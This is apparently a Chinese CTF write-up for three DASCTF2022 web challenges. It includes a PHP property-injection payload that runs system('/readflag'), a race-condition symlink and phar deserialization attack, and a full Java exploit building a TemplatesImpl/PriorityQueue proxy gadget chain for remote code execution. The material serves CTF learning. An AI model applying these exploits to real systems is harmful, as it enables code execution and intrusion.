DASCTF2022 4th x FATE 防疫挑战赛 Writeup

warmup-php

题目给了4个类,BaseListViewFilterTestView,不过Filter没用到,另外三个类从左到右是依次继承的关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php
spl_autoload_register(function($class){
require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{

public function __construct($action,$properties){

$object=new $action();
foreach($properties as $name=>$value)
$object->$name=$value;
$object->run();
}
}

new Action($action,$properties);
?>

创建一个类,然后给类中变量进行赋值,最后触发类的run()函数,知道了入口点就好做了

1
2
3
4
5
6
7
8
9
10
11
ListView.run()
↓↓↓
ListView.renderContent()
↓↓↓
ListView.renderSection($matches)
↓↓↓
TestView.renderTableBody()
↓↓↓
TestView.renderTableRow($row)
↓↓↓
Base.evaluateExpression($_expression_,$_data_=array())

有2点需要注意的:

  1. preg_replace_callback函数的正则表达式是{(\w+)},所以传入的template需要带上{}
  2. renderTableBody函数中需要类中的data变量有值,才会进renderTableRow($row)函数

最后Payload如下

1
2
3
http://2d63ba8a-34a4-453a-acfe-c73862f9a4bb.node4.buuoj.cn:81/?action=TestView
POST
properties[template]={TableBody}&properties[data]=1&properties[rowHtmlOptionsExpression]=system('/readflag')

image-20220423192055835

soeasy_php

查看源码可以看到还有一个edit.php的文件,利用该文件读取源代码

image-20220423192248704

edit.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
ini_set("error_reporting","0");
class flag{
public function copyflag(){
exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
echo "SFTQL";
}
public function __destruct(){
$this->copyflag();
}

}

function filewrite($file,$data){
unlink($file);
file_put_contents($file, $data);
}


if(isset($_POST['png'])){
$filename = $_POST['png'];
if(!preg_match("/:|phar|\/\/|php/im",$filename)){
$f = fopen($filename,"r");
$contents = fread($f, filesize($filename));
if(strpos($contents,"flag{") !== false){
filewrite($filename,"Don't give me flag!!!");
}
}

if(isset($_POST['flag'])) {
$flag = (string)$_POST['flag'];
if ($flag == "Give me flag") {
filewrite("/tmp/flag.txt", "Don't give me flag");
sleep(2);
die("no no no !");
} else {
filewrite("/tmp/flag.txt", $flag); //不给我看我自己写个flag。
}
$head = "uploads/head.png";
unlink($head);
if (symlink($filename, $head)) {
echo "成功更换头像";
} else {
unlink($filename);
echo "非正常文件,已被删除";
};
}
}

利用flag.copyflag可以将/flag赋给/tmp/flag.txt,这里需要触发类的话就要使用phar协议,因为都是文件处理的函数

调用filewrite函数的地方基本都固定了文件名,可以直接抛弃了,那么就需要把导致symlink($filename, $head)返回False进入else语句来触发Phar协议了

1
2
3
4
<?php
file_put_contents("123.php", "<?php echo(123);?>");
var_dump(symlink("/etc/passwd", "123.php"));
?>

可以利用上述代码进行测试(在Linux环境下),效果如下

image-20220423193220114

但是在symlink之前有个unlink($head);,说明需要条件竞争一下来绕过

构造条件竞争的表达式也十分固定,只能有..//../../../../../../../tmp/flag.txtphar://uploads/上传的Phar文件构成,并且phar://uploads/上传的Phar文件必须是最后一个

解释一下它为啥是最后一个,由于需要上传$_POST['flag']才能进入到第二段if语句中,而进入后传参的$_POST['flag']又会被写到/tmp/flag.txt,如果payload不是在最后一个那么会/tmp/flag.txt被覆盖

前面都是使用..//../../../../../../../tmp/flag.txt的原因:只有链接的是/tmp/flag.txt文件,才能通过uploads/head.png读到flag,如果来接到别的上,虽然可以成功执行phar协议,但是你在更换链接时又会导致/tmp/flag.txt内容被覆盖

最后一点:需要网络好一点,成功的概率就会高一点,这里只能多试几次!!!玄学拉满了

image-20220423122439801

在成功后,会显示SFTQL的字样,最后访问uploads/head.png即可获得flag

image-20220423122428955

warmup-java

先反编译jar包,查看pom.xml文件中导入的依赖,没有CC依赖直接不会了,Firebasky大哥看完后让我去学一下jdk7u21链

查看class文件内容,主要有个MyInvocationHandler类引起了注意

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package BOOT-INF.classes.com.example.warmup;

import java.io.Serializable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class MyInvocationHandler implements InvocationHandler, Serializable {
private Class type;

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Method[] methods = this.type.getDeclaredMethods();
Method[] var5 = methods;
int var6 = methods.length;
for (int var7 = 0; var7 < var6; var7++) {
Method xmethod = var5[var7];
xmethod.invoke(args[0], new Object[0]);
}
return null;
}
}

在之前学习CC3的时候用到了TemplatesImpl类是调用了其newInstance方法进类加载导致任意代码执行,此处也是类似的,令xmethodnewInstancearg[0]TemplatesImpl类对象,因为newInstance方法没有参数所以这里可以使用new Object[0]或者null

image-20220606234212324

查看了TemplatesImpl类返回的方法太多了,并不适合。

image-20220606234352333

其继承的接口类Templates只有两个方法,getOutputPropertiesnewTransformer方法,并且在TemplatesImpl类中这两个方法都会调用到getTransletInstance方法,完成链子后面的操作。

接着往前构造触发点,在学习了CC2后,认识一个新的类PriorityQueue,通过其类的readObject方法可以调用到如下方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

其中调用comparator.compare((E) c, (E) queue[right]),而如果comparatorMyInvocationHandler代理类,则在调用comparator.compare方法时就会触发MyInvocationHandler#invoke方法,并且这里的c变量是根据queue[child]传入的,为可控的

最后exp如下

exp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package com.example.warmup;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.*;
import java.lang.reflect.*;
import java.util.*;

public class exp {
public static void main(String[] args) throws Exception {
File file = new File("atao.class");
FileInputStream fis = new FileInputStream(file);
long fileSize = file.length();
byte[] bytes = new byte[(int) fileSize];
fis.read(bytes);
TemplatesImpl templates = new TemplatesImpl();
Class c = TemplatesImpl.class;

Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, new byte[][] {bytes});

Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "atao");

Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());

Constructor<?> constructor = MyInvocationHandler.class.getDeclaredConstructor();
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance();

Comparator proxy = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, invocationHandler);

PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2);
priorityQueue.add(1);
priorityQueue.add(2);

Object[] queueArray = new Object[2];
queueArray[0] = templates;
queueArray[1] = 1;

Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
field.set(priorityQueue, queueArray);

Field field1 = PriorityQueue.class.getDeclaredField("comparator");
field1.setAccessible(true);
field1.set(priorityQueue, proxy);

System.out.println(Utils.objectToHexString(priorityQueue));

}
}

需要将templates设置在第一个,如果是在后面则会导致执行失败;其次在进行PriorityQueue#add时也会利用到comparator成员变量,所以一开始不能赋值,否则会导致执行失败。

image-20220607002227428

由于Java也是刚学习,有些地方可能讲的不是很好,有任何问题可以私聊我。